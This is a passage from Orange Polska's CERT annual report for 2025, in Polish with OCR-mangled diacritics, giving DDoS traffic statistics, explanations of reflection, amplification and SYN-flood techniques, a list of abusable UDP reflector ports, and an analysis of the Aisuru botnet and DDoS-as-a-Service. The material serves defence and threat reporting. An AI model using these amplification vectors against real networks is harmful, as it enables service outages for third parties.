wych i adreséw IP. Najwiekszy ruch na tym porcie zostat zidentyfikowany w grudniu (ponad 1,2 Tbps), jako gtéwny
wektor rekordowego pod wzgledem sity ataku w roku 2025. Od potowy roku nastgpit jednak wyrazny spadek ruchu.




Charakterystyka ruchu na porcie 123

na tagczach Orange Polska ntp (123) out ™ ntp (123) in

70
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Port 123 jest uzywany przez ustuge NTP (Network Time Protocol), stuzgcg do synchronizacji czasu w systemach teleinforma-
tycznych i telekomunikacyjnych. Najwiekszy ruch na tym porcie zaobserwowano w listopadzie (niemal 60 Gbps). W ostatnich
miesigcach roku 2025 widoczny jest spadek ruchu.

Charakterystyka ruchu na porcie 389

na faczach Orange Polska cldap (389) out I cldap (389) in

300
250
200
150

100

Port 389 jest wykorzystywany przez ustuge CLDAP (Connectless Lightweight Directory Access Protocol), stuzaca do korzysta-
nia z ustug katalogowych. Na analizowanym taczu Orange Polska najwigkszy ruch na tym porcie (niemal 250 Gbps) zaobserwo-
wano w czerwcu. Od potowy roku nastapit wyrazny spadek ruchu.
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0T : : Metody ochrony i budowania Dziatania cyberprzestepcow
Prognozy i kierunki rozwoju cyberodpornosci i metody atakow

Chronimy i pomagamy

Raport CERT Orange Polska 2025

Typy atakow DDoS

Poziom krytycznosci alertéw DDoS

Klasyfikacja atakéw DDoS, stosowana przez CERT Orange Polska, opiera sie na trzech kategoriach o réznym pozio-
mie krytycznosci. Ten aspekt jest zalezny od wolumenu ruchu oraz czasu trwania anomalii. Alert wysoki najczesciej
ma istotny wptyw na dostepnos$¢ ustugi, zas te o poziomach $rednim i niskim ograniczajg jg jedynie w specyficznych
warunkach.

Rozktad alertéw DDoS w podziale na poziom krytycznosci

na faczach Orange Polska W wysoki M $redni M niski
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Liczba alertow

Dzien

Najwiecej alertéow na przestrzeni roku 2025 zarejestrowano w grudniu
(nawet niemal 5 tysiecy na dobe¢). Wzrost ten spowodowany byt przede
wszystkim zwiekszona liczba atakéw typu carpet bombing.

Poziom krytycznosci alertow DDoS w rozkiadzie procentowym

w latach 2025 i 2024 W 2025 [ 2024
Niski
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Diagram poziomu
krytycznosci alertow DDoS
w rozktadzie procentowym

w roku 2025
2,5% Wysoki

40% Sredni
57,5% Niski

W rozktadzie procentowym poziomu krytycznosci atakéw DDoS w roku 2025 najwiekszy udziat stanowily alerty o niskim stopniu
krytycznosci — ponad potowe odnotowanych zdarzen. W poréwnaniu do 2024 roku jest ich wyraznie wiecej (wzrost o 14,4 pp.).
W roku 2025 udziat atakéw o $rednim stopniu krytycznosci wyraznie sie zmniejszyt (0 13,2 pp.) w poréwnaniu do roku 2024 i wynidst
40%. Udziat atakéw o najwyzszym stopniu krytycznosci wynidst 2,5% i byt nieznacznie nizszy w stosunku do roku 2024 (3,7 %).

Najczestsze typy atakow DDoS

w rozktadzie procentowym w latach 2025 i 2024 2025 [ 2024
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Najczestsze typy atakow DDoS

w rozktadzie miesiecznym w roku 2025
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W rozktadzie najczestszych typéw atakéw, podobnie jak

w poprzednich latach, najczesciej wystepujacymi rodzajami
atakéw wolumetrycznych, obok IP/UDP Fragmentation (52,8%
wszystkich atakéw — znaczny spadek w stosunku do roku 2024
—0 33,7 pp.), byly ataki Reflected DDoS przy uzyciu protokotéw
UDP. Wsréd nich w roku 2025 najczesciej, podobnie jak w po-
przednich latach, wykorzystywane byty otwarte serwery DNS
(23,9% — znaczny spadek w stosunku do roku 2024 — 0 28,6
pp.); otwarte serwery LDAP, identyfikowane w 6,5% (wzrost

w stosunku do roku 2024 o 5 pp.) oraz niepoprawnie skonfiguro-
wane serwery czasu (NTP) — identyfikowane w 3,4% wszystkich
atakéw (spadek w stosunku do roku 2024 o 0,8 pp.).

Oprocz ustugi DNS, NTP oraz CLDAP w atakach Reflected
DDoS wykorzystywanych byto wiele innych ustug, m.in:

m SSDP (Simple Service Discovery Protocol) - port UDP/1900,

= WS-Discovery (WSD) — port UDP/3702,

= Simple Network Management Protocol (SNMP) — port
UDP/161,

= Apple Remote Desktop (ARD) — port UDP/3283,

= Ubiquiti — port UDP/10001,

m openvpn — port UDP/1194,

m Layer 2 Tunneling Protocol (L2TP) — port UDP/1701,

m mDNS Amplification — port UDP/5353,

l.

Wolumetryczne ataki na ustugi i infrastrukture — DDoS

m memcached Amplification — port UDP/11211,

= NetBIOS Amplification — port UDP/137 lub port UDP/138,

= RIPv1 Amplification — port UDP/520,

= Microsoft SQL Resolution Service (MS SQL RS) - port
UDP/1434,

m CHARGEN - port UDP/19.

Warto odnotowac réwniez, ze w roku 2025 w dalszym ciagu
obserwowalismy zwiekszong liczbe atakéw z wykorzystaniem
protokotu tunelowania GRE (Generic Routing Encapsulation).

Od potowy roku 2025 nastapit wyrazny spadek atakéw
DNS Aplification oraz zwigzanych z nimi atakéw UDP Frag-
mentation.

W dalszym ciagu obserwujemy wzrost atakéw ztozonych,
wielowektorowych, wykorzystujacych techniki zwiazane
z TCP SYN, TCP RST oraz TCP ACK, co taczy sie bezpo-
Srednio z ich trudniejszym wykryciem oraz tagodzeniem.
Czesto tego typu techniki wykorzystywane sa w atakach
carpet bombing.

W rozktadzie wystepowania atakéw DDoS carpet bombing wi-
daé wyrazny wzrost w grudniu oraz czestsze ich wystepowanie
w pierwszych miesigcach roku 2025.

cert.orange.pl
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Opisy rodzajow atakow

IP Fragmentation

Atak polegajacy na przesytaniu przez atakujgcego
duzych pakietéow (powyzej 1500 bajtow). Zwazywszy

na koniecznos$¢ ponownego potgczenia zdefragmento-
wanych pakietéw na urzadzeniu koricowym, niezbedne
jest wykorzystanie dodatkowych zasobéw procesora, co
obcigza system komputerowy.

Reflected DDoS

Inaczej atak odbity, czyli metoda wykorzystujgca po-
datnosci protokotéw w komunikacji sieciowej. W celu
wzmocnienia (amplifikacji) uzyte moga by¢ podatnosci
takich protokotéow, jak: UDP, DNS, NTP czy CLDAP.
Ataki typu Reflection/Ampilification (odbicie-wzmocnie-
nie) zazwyczaj wykorzystujg protokét UDP i ustugi, ktore
nie weryfikuja Zrédtowego adresu IP przychodzacych
pakietow (np. DNS, NTP). Atakujacy najpierw generuje
fatszywy pakiet ze Zrédtowym adresem IP wskazujgcym
na ofiare (cel ataku) i wysyta go do tych ustug (reflektor),
co skutkuje duza odpowiedzig (wzmocnieniem) wystang
do ofiary. Ataki TCP Reflection/Amplification dziataja

w podobny sposéb, wysytajac sfatszowane pakiety

TCP SYN do reflektora. Pomimo ze rozmiar pakietu
dostarczonego do ofiary moze by¢ nieznacznie wigkszy
niz pakiet wystany przez atakujgcego, bazujg na tym,

ze reflektor potrafi wysta¢ do ofiary wiele odpowiedzi
SYN-ACK w krotkich odstepach czasu, jesli nie otrzyma
koricowego ACK uzgadniania, powodujac wzmocnie-
nie. Liczba oraz czestotliwo$¢ wystanych odpowiedzi
(SYN-ACK) moze by¢ rézna w zaleznosci od urzagdzenia
i ustug, zalezna m.in. od uzywanego systemu operacyj-
nego, ustawien konfiguracyjnych. Retransmisja moze
jednak ustac¢ po otrzymaniu pakietu RST od ofiary

w odpowiedzi na zapytanie, ktérego nie byta inicjatorem.
Z tego wzgledu ta technika czesto jest wykorzystywana

w atakach typu carpet bombing, polegajacych na réwno-
czesnym atakowaniu wielu IP czy catych sieci/podsieci,
a nie tylko pojedynczego IP. W podsieci czesto znajduja
sie réwniez adresy IP, ktdre sa routowalne, ale nie ob-
stuguja zadnych ustug (wtedy nie odpowiedza pakietem
RST badz ICMP).

DNS Flood

Atak polega na wysytaniu duzej liczby zapytari DNS do
zasobow ofiary w celu jej wyczerpania.

ICMP Flood

Technika polegajgca na przestaniu niestandardowej
liczby duzych pakietéw ICMP w celu ,zalania” sieci kom-
puterowej ofiary. Zazwyczaj przy tym ataku wykorzystuje
sie sie¢ przejetych urzgdzen (botdw). W wyniku operaciji,
nastepuje ograniczenie przepustowosci sieci i zabloko-
wanie ustug.

TCP SYN / TCP RST / TCP ACK Flood

Ataki oparte na podatnosci three-way handshake,
procedury nawigzywania potaczenia wykorzystywa-

nej w protokole TCP. Zalewanie atakowanego hosta
pakietami TCP z ustawiong flaga synchronizacji (SYN),
resetowaniem potaczenia (RST) czy potwierdzenia
(ACK). Przyktadowo w ataku SYN Flood atakujacy wy-
syta na porty TCP flage SYN, ktéra stuzy do inicjowania
potaczenia pomiedzy hostem zZrédtowym a docelowym.
Nastepnie system atakowanego odpowiada wiadomo-
Scig SYN-ACK, ktora otwiera port i czeka na potwier-
dzenie nawiazania potaczenia — czeka na flage ACK

od atakujgcego. Flaga jednak nie jest przesytana, przez
co potaczenie nigdy nie jest ustanawiane, ale przez
okreslony czas ofiara oczekuje na potwierdzenie, co
wykorzystuje jej zasoby.

= WytgczyC€ ustuge wszedzie tam, gdzie nie jest potrzebna;
= Nie udostepniac ustugi wszystkim uzytkownikom,

jesli nie jest to konieczne;

= korzysta¢ z mozliwie najnowszej wersji protokotu.

Cho¢ istnieje wiele metod ochrony przed DDoS, duze ataki wolumetrycz-
ne moga zosta¢ zmitygowane jedynie na poziomie ISP badz przy wsparciu
specjalistycznych firm ,,ukrywajacych” chronione serwisy za swoja infra-
struktura. W takiej sytuacji ograniczenie skutkéw nastepuje dzieki geogra-
ficznemu rozproszeniu weztéw, filtrowaniu ztosliwego ruchu oraz taczom
o duzej przepustowosci.



Sita atakéw DDoS

Srednia wielko$é szczytowego natezenia ataku DDoS zaobserwowana w sieci Orange Polska osiagneta poziom ponad 4,4 Gbps
(ponad 7,2 Gbps w roku 2024). Z kolei najwieksza odnotowana warto$¢ natezenia ruchu w szczycie ataku to ok. 1,5 Tbps (przy
niemal 586 Gbps w 2024 roku). Utrzymuije sie tendencja wzrostowa na przestrzeni ostatnich lat, jesli chodzi o wielko$é
atakow, przy jednoczesnym wystepowaniu atakéw bardziej wyrafinowanych/ztozonych, dopasowanych do rozpoznanego
celu ataku (w tym carpet bombing), w ktérych o ich dotkliwosci nie stanowi liczba, tylko jak najwieksza sita. Na wzrost sity
atakéw wplyw maja nie tylko szybsze tacza internetowe, ale tez przystepna cena atakéw DDoS na czarnym rynku oraz w duzym
stopniu wykorzystywanie technik wzmocnionego odbicia i botnetéw bazujgcych na urzadzeniach internetu rzeczy.

Wolumen atakéw DDoS
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W rozktadzie procentowym wolumendw atakéw, w poréwnaniu do roku 2024 zaobserwowano wyrazny wzrost w przedziale

0,5-2 Gbps (0 5,5 pp.), w przedziale 0,2-5 Gbps (0 5,2 pp.) oraz nieznaczny wzrost atakéw o sile ponizej 0,2 Gbps (0 2,7 pp.).

W pozostatych grupach nastgpit spadek udziatu atakéw, najwiekszy w grupie atakéw o sile powyzej 10 Gbps (0 7,4 pp.),

w przedziale 5-10 Gbps (0 3,7 pp.), natomiast w grupie atakéw o sile w przedziale 2-5 Gbps nastapit nieznaczny spadek (o 2,5 pp.).

Wolumen atakéw DDoS
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Czas trwania atakow DDoS
Podobnie jak w latach poprzednich, w roku
2025 utrzymuje sie trend wskazujgcy na
coraz krétszy czas trwania atakéw. Rozktad
grup czasu trwania atakéw DDoS jest bardzo
zblizony do roku 2024. Zdecydowana wigk-
sz0$¢ zarejestrowanych alertéw, podobnie
jak w 2024 roku, trwata ponizej 10 minut
(ponad 90% wszystkich — nieznaczny spadek
02,2 pp. W stosunku do roku 2024). Sredni
czas trwania wszystkich zarejestrowanych
alertéw wyniost w 2025 roku ponad 9 minut
(w roku 2024 byto to niespetna 8 minut).
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Analiza taktyczno-strategiczna

Ireneusz Tarnowski

Rok 2025 potwierdzit, ze ataki typu Distributed Denial of Service staty
sie jednym z najbardziej stabilnych, a jednoczes$nie najszybciej
ewoluujacych narzedzi oddziatywania w cyberprzestrzeni. Dane publi-
kowane w raportach rocznych przez Cloudflare, NETSCOUT, Akamai
oraz Gcore wskazujg, ze liczba obstuzonych incydentéw DDoS w skali
globalnej liczona byta w dziesigtkach milionéw. Szczegdlnie dyna-
miczny wzrost dotyczyt atakéw o bardzo wysokiej intensywnosci oraz
kampanii wielowektorowych, prowadzonych w sposéb ciagty, z wy-
korzystaniem mechanizméw adaptacyjnych. DDoS funkcjonowat row-
nolegle jako narzedzie cyberprzestepcze, srodek presji ekonomicznej
oraz komponent operaciji politycznych i informacyjnych, coraz czesciej
zsynchronizowanych z wydarzeniami o znaczeniu miedzynarodowym.
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0T : : Metody ochrony i budowania Dziatania cyberprzestepcéw
Prognozy i kierunki rozwoju cyberodpornosci i metody atakow

Chronimy i pomagamy

Raport CERT Orange Polska 2025

Jednym z najbardziej charakterystycznych zjawisk tego
okresu byta normalizacja atakéw hiperwolumetrycz-
nych, w ktérych wolumen ruchu przekraczat 10 Tbps,

a w skrajnych przypadkach siegat niemal 30 Tbps. In-
cydenty tej klasy przestaty by¢ pojedynczymi anomalia-
mi, a zaczely pojawiac sie jako element zaplanowanych
kampanii testujacych granice wydajnosci infrastruktury
operatorskiej oraz systeméw mitygacji opartych na
sieciach CDN. Rownolegle obserwowano gwattowny
wzrost atakéw aplikacyjnych, generujacych setki milio-
néw zadan HTTP(S) na sekunde, ktorych skutecznosc
wynikata nie z wysycenia taczy, lecz z eksploatowania
kosztownych $ciezek przetwarzania po stronie serwera,
w tym obstugi sesji, mechanizmoéw TLS oraz zaplecza
aplikacyjnego.

Od strony technicznej rok 2025 przyniost wyrazne odej-
$cie od jednowektorowych floodéw na rzecz atakéw
wielowarstwowych, tgczacych techniki wolumetryczne,
protokotowe i aplikacyjne w ramach jednej kampanii.
Powszechnie obserwowano kombinacje SYN flood,
ACK flood i UDP flood z wyspecjalizowanymi atakami
HTTP/2, HTTP POST oraz naduzyciami mechanizméw
TLS, takimi jak renegocjacja czy kosztowne hand-
shake’i. Coraz czesciej stosowano réwniez techniki
typu carpet bombing, polegajace na réwnomiernym
rozpraszaniu ruchu po bardzo szerokim zakresie adre-
séw IP celu, co znaczaco utrudniato skuteczne filtrowa-
nie i wymuszato reakcje na poziomie catych prefikséw
sieciowych.

Istotnym trendem byta takze wyrazna poprawa jakosci
ruchu atakujgcego. Boty coraz skuteczniej emulowa-

ty zachowanie legalnych uzytkownikéw, korzystajac

z petnych stoséw TCP/IP, poprawnej obstugi cookies,
realistycznych nagtowkow HTTP oraz zgodnych ze
standardami implementaciji TLS. W wielu kampaniach
obserwowano dynamiczng adaptacje parametréw ata-
ku w odpowiedzi na dziatania obronne, w tym zmiane
wektoréw, czestotliwosci zadan i profili ruchu w trakcie
trwania incydentu. Raporty branzowe wskazujg réwniez
na pierwsze praktyczne eksperymenty z automatyzacja
inspirowana uczeniem maszynowym, szczegodlnie w za-
kresie omijania mechanizmow rate limiting oraz identy-
fikowania punktéw nasycenia infrastruktury ofiary.

Centralng role w ekosystemie DDoS nadal odgrywaty
botnety, przy czym ich struktura poddana byta dalszej
specjalizacji. Obok klasycznych wariantéw bazujgcych
na Mirai i jego pochodnych coraz wigksze znaczenie
miaty botnety, ktérych budowa oparta jest na urzadze-
niach loT nowej generaciji, takich jak: kamery IP, routery
SOHO, rejestratory wideo, inteligentne telewizory oraz
urzadzenia klasy Android TV. Szczegd6lna uwage
zwrocono na botnety takie jak Aisuru oraz infra-
strukture powiazana z rodzing KimWulf, ktére byty
wykorzystywane do jednych z najwiekszych zna-
nych atakéw aplikacyjnych w 2025 roku. Kampanie
te charakteryzowaly sie ekstremalnymi liczbami za-
dan HTTP przy relatywnie niskim wolumenie pakie-

Najwigksze swiatowe
ataki DDoS 2025 roku

1.

towym, skutecznie omijajac tradycyjne mechanizmy
ochrony skoncentrowane na przepustowosci.

Roéwnolegle obserwowano dalszy rozwéj modelu DDoS-
-as-a-Service, ktory znaczaco obnizyt prog wejscia dla
zleceniodawcéw atakéw. Umozliwito to prowadzenie
zaawansowanych kampanii aktorom o ograniczonych
kompetencjach technicznych i sprzyjato proliferacji
(namnazaniu) atakdow motywowanych ideologicznie
oraz politycznie. Prorosyjskie kolektywy, takie jak No-
Name057(16), utrzymaty wysoka aktywnos¢ operacyj-
na, prowadzac regularne kampanie wymierzone w cele
rzadowe, medialne i infrastrukturalne panstw wspiera-
jacych Ukraine. Cho¢ ataki te czesto miaty charakter
krotkotrwaty, cechowaty je wysoka powtarzalnos¢ oraz
precyzyjny dobor celdw, co jednoznacznie wskazuje na
ich role jako narzedzia presji informacyjne;.



Aisuru i nowe generacje

botnetow
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Botnet Aisuru reprezentuje dojrzatg faze ewolucji infrastruktury
DDoS, w ktérej kluczowa role przestaje odgrywac wolumen
surowego ruchu sieciowego, a decydujagce znaczenie zyskuje
precyzja oddziatywania na warstwe aplikacyjng. W przeciwien-
stwie do wczesniejszych generacji botnetéw, skoncentrowa-
nych na prostych mechanizmach typu SYN flood czy UDP
amplification, Aisuru zostat zaprojektowany jako platforma
zdolna do generowania masowych, semantycznie poprawnych
zadan HTTP(S), ktére aktywujg kosztowne operacje po stronie
serwera, takie jak: parsowanie zapytan, obstuga sesji, genero-
wanie odpowiedzi dynamicznych czy interakcje z zapleczem
bazodanowym. Tego typu ataki skutecznie omijajg klasyczne
systemy ochrony oparte na progach przepustowosci oraz
statycznych regutach zapdr sieciowych, poniewaz pojedyncze
instancje ruchu nie wykazujg anomalii na poziomie pakietowym
ani protokotowym.

Architektura Aisuru wskazuje na odejscie od monolitycznego
modelu botnetu na rzecz podejscia modularnego, w ktérym
poszczegolne komponenty odpowiadajg za odrebne funk-
cje operacyjne, takie jak: dystrybucja polecen, zarzadzanie
kampaniami, rotacja parametréw ataku czy adaptacja do
mechanizméw obronnych ofiary. Mechanizmy C2 obserwowa-
ne w podobnych kampaniach coraz czesciej wykorzystywaty
efemeryczne kanaty komunikacyjne, takie jak *czy
**, lub dynamicznie rekonfigurowane domeny,
co znaczaco utrudniato ich neutralizacje poprzez klasyczne
dziatania typu sinkholing. Istotnym elementem jest réwniez
zdolnos$¢ botnetu do szybkiej zmiany charakterystyki ruchu
w trakcie trwania ataku, w tym manipulowania nagtéwkami
HTTP, kolejnoscig zadan czy czasem odpowiedzi, co pozwala

Obserwowano dalszy rozwaj
modelu DDoS-as-a-Service, ktory
znaczaco obnizyt prég wejscia
dla zleceniodawcoéw atakow.
Umozliwito to prowadzenie za-
awansowanych kampanii akto-
rom o ograniczonych kompeten-
cjach technicznych i sprzyjato
proliferacji (hamnazaniu) atakow
motywowanych ideologicznie
oraz politycznie.

na omijanie systemow opartych na sygnaturach i uproszczo-
nych modelach behawioralnych.

Zrédto mocy obliczeniowej Aisuru stanowig gtéwnie zainfeko-
wane urzgdzenia konsumenckie, w szczegdlnosci sprzet mul-
timedialny i urzadzenia mobilne oparte na systemie Android,
ktore tacza w sobie statg dostepnos¢ sieciowa, ograniczone
mechanizmy zabezpieczen oraz naturalng zmiennos¢ adresacii
IP. Tego typu wezty generuja ruch trudny do jednoznacznego
odrdznienia od ruchu legalnych uzytkownikow koricowych,
zwtaszcza w przypadku ustug internetowych o globalnym za-
siegu. Z punktu widzenia operatoréw botnetu istotna przewaga
jest réwniez fakt, ze kompromitacja takich urzadzen rzadko jest

* dead drops - ukryty punkt wymiany danych pomiedzy zainfekowanym systemem a operatorem malware, w ktérym komunikacja odbywa sig¢ posrednio — bez bezposredniego
potaczenia z serwerem C2. W cyberoperacjach uzywa sie publicznych ustug internetowych. Typowe przyktady dead dropéw: komentarze w serwisach internetowych (np. blog,
forum), pliki w ustugach typu GitHub / Pastebin, posty lub obrazy w mediach spotecznosciowych, dokumenty w chmurze, rekordy DNS lub inne publiczne repozytoria danych.

** domain fronting - technika ukrywania rzeczywistego serwera docelowego komunikacji poprzez wykorzystanie infrastruktury duzych dostawcéw ustug chmurowych lub CDN.

Mechanizm polega na rozdzieleniu domeny widocznej w zapytaniu sieciowym od faktycznej domeny, do ktérej trafia zadanie na poziomie aplikacyjnym.
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wykrywana przez witascicieli, co umozliwia dtugotrwate
utrzymanie infrastruktury atakujacej bez koniecznosci cze-
stego reinfekowania zasobdw.

Postrzeganie Aisuru w kategoriach pojedynczego botnetu
prowadzi do uproszczen, ktére nie oddajg rzeczywistej
natury wspotczesnych zagrozert DDoS. W praktyce
mamy do czynienia z procesem platformizacji, w ktérym
infrastruktura atakujaca przestaje by¢ przypisana do
jednego aktora, jednej kampanii czy jednego zestawu
technik, a zaczyna funkcjonowac jako wielofunkcyjna
platforma ustugowa. Oznacza to, ze ta sama infrastruktura
moze jednego dnia obstugiwaé masowy atak aplikacyjny
motywowany finansowo, a kolejnego zosta¢ uzyta do
krétkotrwatej, demonstracyjnej kampanii haktywistycznej
lub jako element presji informacyjnej towarzyszacej wyda-
rzeniom politycznym.

Kluczowym elementem tej ewolucji jest rozdzielenie
warstwy sterowania, warstwy wykonawczej oraz war-
stwy ,biznesowej” botnetu. Operatorzy platform takich
jak Aisuru coraz czesciej koncentruja sie na utrzymaniu

i rozwoju infrastruktury technicznej, podczas gdy same
kampanie sg inicjowane przez zewnetrznych zlecenio-
dawcéw. W tym modelu botnet staje sie odpowiedni-
kiem chmurowej ustugi obliczeniowej, w ktorej klient nie
musi zna¢ szczegdtow implementacyjnych ani sposobu
kompromitacji urzadzen koncowych. Wystarczajace jest
okreslenie parametrow ataku, takich jak: typ celu, czas
trwania czy preferowany profil ruchu, a reszta realizowana
jest automatycznie przez warstwe orkiestracji platformy.

Integracja z modelem DDoS-as-a-Service dodatkowo
wzmachnia te tendencje, poniewaz wymusza na operato-
rach botnetéw projektowanie infrastruktury w kategoriach
dostepnosci i jakosci ustugi. Mechanizmy redundanciji,
dynamicznego skalowania liczby weztéw, rotacji zro-

detf ruchu czy automatycznego dostosowywania sie do
reakcji obronnych przestajg by¢ opcjonalne, a stajg sie
czynnikiem przewagi konkurencyjnej na podziemnym
rynku. W efekcie botnety takie jak Aisuru sg stale opty-
malizowane pod katem odpornosci na zaktdcenia, w tym:

Botnety takie jak Aisuru sa

stale optymalizowane pod ka-
tem odpornosci na zakiécenia,
w tym: przejmowanie serwerow
C2, blokowanie prefiksow IP czy
wdrazanie filtracji na poziomie
CDN. Platforma nie tylko gene-
ruje ruch, ale rowniez monitoruje
skutecznos¢ ataku i wprowadza
korekty w czasie rzeczywistym.

przejmowanie serweréow C2, blokowanie prefikséw IP czy
wdrazanie filtracji na poziomie CDN. Platforma nie tylko
generuje ruch, ale réwniez monitoruje skutecznos¢ ataku
i wprowadza korekty w czasie rzeczywistym.

Od strony technicznej rok 2025
przyniést wyrazne odejscie od
jednowektorowych floodéw na
rzecz atakow wielowarstwowych,
faczacych techniki wolumetrycz-
ne, protokotowe i aplikacyjne

w ramach jednej kampanii.

Z perspektywy krajobrazu zagrozen szczegdlnie istotne jest
to, ze platformizacja DDoS prowadzi do zatarcia granic po-
miedzy cyberprzestepczoscia, haktywizmem a dziataniami
o charakterze panstwowym lub parapanstwowym. Ta sama
infrastruktura moze by¢ wykorzystywana przez podmioty

0 zupetnie odmiennych motywacjach, co znaczaco utrudnia
atrybucje i ocene intenciji atakujgcego. Dla obroricow ozna-
cza to, ze analiza techniczna samego ataku coraz rzadziej
pozwala na jednoznaczne wnioskowanie o jego kontekscie
strategicznym, poniewaz narzedzie i sposob realizacji nie sg
juz unikalnym wyréznikiem konkretnej grupy.

W szerszym ujeciu platformy takie jak Aisuru sygnalizujg
przesuniecie DDoS z poziomu incydentalnego narzedzia
zakiéceniowego do roli statego komponentu operaciji
hybrydowych. Ataki przestaja by¢ jednorazowym zda-
rzeniem, a zaczynajg petic funkcje wspierajaca inne
dziatania, takie jak: kampanie dezinformacyjne, préby
wymuszen, presja ekonomiczna czy odwracanie uwagi
od réwnolegle prowadzonych operaciji ofensywnych.
Platformizacja sprawia, ze DDoS staje sig ustuga tatwo
dostepna, przewidywalng w skutkach i mozliwg do pre-
cyzyjnego zaplanowania, co fundamentalnie zmienia jego
role w nowoczesnym ekosystemie zagrozen.

Z perspektywy kierunku rozwoju zagrozen Aisuru potwier-
dza, ze skutecznos¢ atakow DDoS coraz rzadziej zalezy
od ekstremalnych parametréow ruchu, a coraz czesciej

od zdolnosci do precyzyjnego modelowania zachowan
legalnych uzytkownikéw i eksploatowania kosztownych
Sciezek przetwarzania po stronie aplikacji. Dla obron-
céw oznacza to koniecznos¢ odejscia od reaktywnego
podejscia opartego wytacznie na filtracji wolumetrycznej

i przejscia w strone gtebokiej analizy kontekstowej ruchu,
korelacji zdarzen na poziomie aplikacyjnym oraz ciagtego
dostosowywania mechanizmdéw ochronnych do dyna-
micznie zmieniajgcych sie technik ataku. W tym sensie
botnety takie jak Aisuru wyznaczajg kierunek, w ktérym
DDoS staje sie problemem nie tylko sieciowym, lecz
przede wszystkim systemowym i architektonicznym.



Swiatowy krajobraz atakéw DDoS

Ataki DDoS z perspektywy
sektora telekomunikacyjnego

Z perspektywy sektora telekomunikacyjnego zagrozenie
atakami DDoS nie jest postrzegane wytacznie jako problem
wolumenu ruchu, lecz jako test odpornosci catej architektury
sieciowej. Operatorzy telekomunikacyjni, w szczegélnosci
dysponujacy rozlegtg infrastruktura szkieletowg, dziatajg

w modelu hierarchicznym, ktéry z jednej strony wymaga pre-
cyzyjnego zarzadzania punktami agregaciji, z drugiej jednak
umozliwia skuteczng kontrole, obserwowalnos$¢ i segmenta-
cje ruchu na poziomie niedostgpnym dla wielu dostawcéw
ustug cyfrowych. Rdzen sieci, agregujacy ruch z sieci do-
stepowych, tranzytowych i peeringowych, jest projektowany
z mysla o nadmiarowosci, kontroli przeptywdéw oraz zdolno-
$ci do izolowania anomalii bez utraty ciggtosci ustug.

W przeciwienistwie do $rodowisk opartych wytgcznie na
rozproszonych centrach danych architektura operatorska
pozwala na wdrazanie mechanizméw ochronnych bezpo-
$rednio w ptaszczyznie transportowej i sterujacej. Oznacza
to, ze nawet precyzyjne i niskowolumenowe kampanie
DDoS, ktére w innych modelach infrastrukturalnych mogtyby
pozostaé niewidoczne, w sieciach operatorskich sg coraz
czesciej identyfikowane na wczesnym etapie dzieki korelacji
danych z wielu warstw infrastruktury.

Istotng przewaga operatoréw telekomunikacyjnych jest
mozliwos¢ traktowania bezpieczenstwa jako integralnej
cechy sieci, a nie dodatku do konkretnej aplikacji. Mecha-
nizmy routingu, systemy DNS, ptaszczyzna sygnalizacyjna
oraz infrastruktura transportowa sa objete spojnymi polity-
kami ochronnymi, ktére uwzgledniaja zaréwno klasyczne
scenariusze wolumetryczne, jak i bardziej subtelne préby
destabilizacji zachowania sieci. W praktyce oznacza to, ze
nawet w przypadku podwyzszonego obcigzenia sie¢ jest
w stanie utrzymac stabilnos¢ tras, ograniczy¢ propagacije
zaktocen oraz zachowac przewidywalnosé¢ dziatania kluczo-
wych ustug.

Warto podkresli¢ réznice pomiedzy operatorem telekomu-
nikacyjnym a dostawcag ustug cyfrowych czy tresci. O ile

w $rodowiskach opartych na CDN i globalnych centrach
danych gtéwnym wyzwaniem jest rozproszenie ataku oraz
ochrona warstwy aplikacyjnej, o tyle w telekomach nacisk
ktadziony jest na odpornos¢ systemowa. Ruch atakujacy,
nawet jesli generowany globalnie, podlega kontroli na styku
sieci, a jego wptyw jest ograniczany poprzez segmentacije,
priorytetyzacje i automatyczne mechanizmy przecigzenio-
we. Dzigki temu presja atakujgcego rzadziej przektada sig
na trwate awarie, a czesciej skutkuje jedynie krotkotrwatymi
anomaliami jakosciowymi.

Dodatkowym elementem krajobrazu zagrozen jest fakt, ze
sieci operatorskie petnig role infrastruktury posredniej dla
ruchu generowanego przez miliony urzadzen koricowych.

W tym obszarze dojrzatos¢ telekomow przejawia sie nie tyl-
ko w technicznych mechanizmach filtracji, lecz takze w zdol-
nosci do zarzadzania ryzykiem operacyjnym i reputacyjnym.
Coraz powszechniejsze stajg sie programy monitorowania
zachowania urzadzen abonenckich, wspotpraca z producen-
tami sprzetu oraz dziatania prewencyjne, ktére ograniczaja
mozliwos¢ wykorzystania sieci operatorskiej jako wektora
ataku na podmioty trzecie.

W odpowiedzi na te zagrozenia kluczowi operatorzy
telekomunikacyjni w 2025 roku coraz czesciej wdrazali
wielowarstwowe strategie obronne, obejmujace detekcje
anomalii na poziomie ruchu rdzeniowego, automatyczng
mitygacje na styku sieci oraz $cista wspodtprace z krajowy-
mi zespotami reagowania i partnerami miedzynarodowymi.
Coraz wiekszy nacisk ktadziony jest na analize beha-
wioralng i korelacje zdarzen, umozliwiajaca wykrywanie
atakéw o niskim wolumenie, lecz wysokiej precyzji, ktére
w srodowisku operatorskim moga byc¢ rownie destrukcyj-
ne jak klasyczne flood’y. W tym kontekscie DDoS prze-
staje by¢ wytacznie problemem przepustowosci, a staje
sie zagadnieniem odpornosci architektury sieciowej jako
catosci. Podczas gdy operatorzy ustug cyfrowych mierza
sie gtéwnie z presja rozproszonych atakéw aplikacyjnych,
telekomy pozostajg szczegdlnie narazone na kampanie
obcigzajace rdzen sieci i mechanizmy sterowania ruchem.
Ta réznica sprawia, ze skuteczna obrona w sektorze
telekomunikacyjnym wymaga nie tylko duzych zasobow
technicznych, lecz takze strategicznego podejscia do
projektowania sieci, zarzgdzania ryzykiem i odpornosci
infrastruktury krytyczne;j.

Podsumowanie

cert.orange.pl
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Arkadiusz Bazak, Julia Jancelewicz, Ireneusz Tarnowski

W roku 2025 ztosliwe oprogramowanie byto powaznym zagrozeniem

dla uzytkownikéw zaréwno stacji roboczych, jak i urzadzen mobilnych.
Mimo dynamicznych zmian w krajobrazie zagrozen i rozwoju mozliwosci
atakujacych, zestawienie najpopularniejszych typoéw malware ominety
burzliwe zmiany. Nieustannie ewoluuja za to techniki atakujgcych i me-
tody unikania wykrycia przez systemy bezpieczenstwa. Modyfikacjom
podlega takze zbiér danych uznawanych przez atakujacych za najcen-
niejsze. Nie bez wplywu na sytuacje pozostaje popularyzacja duzych
modeli jezykowych (LLM), ktérych oddziatywanie coraz czesciej mozna
zaobserwowac w atakach oraz kodzie ztosliwego oprogramowania.
